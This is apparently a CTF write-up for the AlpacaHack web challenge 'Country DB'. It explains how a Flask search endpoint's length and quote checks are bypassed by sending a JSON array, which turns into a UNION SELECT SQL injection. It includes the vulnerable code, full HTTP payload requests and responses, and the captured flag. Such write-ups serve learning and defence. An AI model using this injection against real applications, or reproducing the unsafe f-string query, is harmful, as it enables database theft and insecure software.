Projects Vulnerabilities Challenges Write-ups
← Back to challenges
AlpacaHack Web EASY Solved

Country DB

07.09.2026
Write-up

Description of the Challenge

Country DB (1)

Do you know which country code 'CA' and 'KE' are for? Search country codes here!

Recon / Initial Analysis

CODEapp.pyPYTHON
def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

Here we can identify a SQL Injection vulnerability that we can exploit.

CODEapp.pyPYTHON
@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

Unfortunately, our payload is restricted by an input validation check. The developer assumes this validation is sufficient because it ensures that the provided country code is exactly two characters long and does not contain a single quote (').

Solution

The vulnerability arises from a JSON type confusion issue. The application assumes that the 'code' field is a string but never explicitly validates its type. By supplying a JSON array instead, we can alter the semantics of both the length and character-membership checks, allowing us to bypass the intended input validation.

REQUESTTest request to see the output SQLJSON
POST /api/search HTTP/1.1
Content-Type: application/json
Content-Length: 54

{"code":["R') UNION SELECT flag from flag;---",
"s"]}
RESPONSEResponse from Local ServerJSON
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.14.6
Date: Sun, 06 Sep 2026 20:58:47 GMT
Content-Type: application/json
Content-Length: 108
Connection: close

{
  "name": "SELECT name FROM country WHERE code=UPPER('[\"R') UNION SELECT flag from flag;---\", 's']')"
}
CODEFinal used SQLSQL
SELECT name FROM country WHERE code=UPPER('[\"R') UNION SELECT flag from flag;---\", 's']')
REQUESTFinal payloadJSON
POST /api/search HTTP/1.1
Host: 34.170.146.252:43271
Content-Length: 54
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://34.170.146.252:43271
Referer: http://34.170.146.252:43271/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"code":["R') UNION SELECT flag from flag;---",
"s"]}
RESPONSEResponse with the FlagJSON
HTTP/1.1 200 OK
Server: nginx/1.21.6
Date: Sun, 06 Sep 2026 21:01:15 GMT
Content-Type: application/json
Content-Length: 55
Connection: keep-alive

{"name":"CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}"}

Flag

FLAGFlag confirmat
CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}
~/EnesBasmaci/Challenges